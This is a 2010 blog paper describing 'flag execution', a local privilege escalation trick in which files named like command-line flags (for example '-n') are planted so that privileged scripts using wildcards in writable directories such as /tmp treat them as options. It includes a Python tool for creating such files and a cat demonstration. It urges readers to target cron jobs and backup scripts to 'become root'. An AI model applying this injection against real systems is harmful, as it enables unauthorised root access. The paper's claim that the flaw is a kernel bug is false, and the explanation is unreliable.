Flag execution for easy local privilege escalation

Published at h.ackack.net

Written by Jelmer de Hen

This paper will show a new way to get local root escalation through the creation of flag looking filenames and letting privileged processes use them as arguments.

Summary:

== 0x01 Introduction ==

With this exploit it is possible to do local privilege escalation if you find a vulnerable program, cronjob or process, the basic exploit consists of the problem that Linux will use filenames which look like flags as flags.

In some cases you have to wait until a privileged user will execute the targeted program so he will execute your flags but the idea is to find a vulnerable cronjob or process so you don't need user interaction in order to make this trick work.

To be honest; i don't know exactly where in Linux this bug comes from but i know it's working, i sent this trick to the bash team in 2009 but they gave no clear reaction to the exploit.

Since it is not only bash in which this bug works in but all programs i tested i assume it is a kernel problem.

== 0x02 exploitation ==

Here is a little program i just wrote which can create and remove files which look like flags which we will need in order to handle the files because you can not simply create flag looking files with something like bash for as far as I tried it.

[code]

```
#!/usr/bin/python

import sys,os


## Written by Jelmer de Hen for h.ackack.net blog on 25-04-2010

## This program can be used to easy create and remove flag looking filenames


def flags(todo, filename):
     if todo=="mk":
          try:
               flagFile=open(filename, "w").close()
               return "[+] "+filename+" created"
          except:
               return "[-] Could not create file, check your permissions or something"
     elif todo=="rm":
          try:
               os.remove(filename)
               return "[+] "+filename+" deleted"
          except:
               return "[-] File does not exist or not enough rights to delete this file."
     else:
          instructions()


def instructions():
     print sys.argv[0]+" [mk | rm] [filename]"
     print "example: \""+sys.argv[0]+" mk -n\""
```

```
    sys.exit(1)

def main():
    if len(sys.argv)==3:
        print flags(sys.argv[1], sys.argv[2])
    else:
        instructions()

if __name__ == "__main__":
    sys.exit(main())
[/code]
```

Run the program:

```
# python flagHandler.py mk -n
[+] -n created
```

Now we have a file named -n in the same directory, opening it from the command line would obviously fail because it is a flag and would be seen as a flag.

Here is an example when you try to cat the file:

```
# cat -n
test
    1    test
```

You will come in a mode which would reply everything you type but; because -n is used it will show numbers in front of every line i wrote test to make clear that the line numbers come in front of the output.

The system will try to use this as a flag as if it would try in the normal execution of a process, nothing special happened here yet.

Now the tricky part, you are not able to open it as a file but you should be able to open it by opening all files in the folder.

```
# cat *
     1    #!/usr/bin/python
     2    import sys,os
     3
<output omitted>
```

What we see here is filename flag execution. It looks at the file and sees "-n" and thinks it is a flag, now it will drag this flag in the process as an argument and will try to do something with it defined in the program source code.

== 0x03 Reproduction ==

Search for a program/cronjob/process which will do things in a for you writable directory like /tmp and inject the preferred flags to make the process do what you wish it to do.

Hint: As there are a lot of home made backup scripts out there i noticed they have a high rating for being vulnerable for this trick.

Have fun becoming root with this universal linux flaw :)

-Jelmer de Hen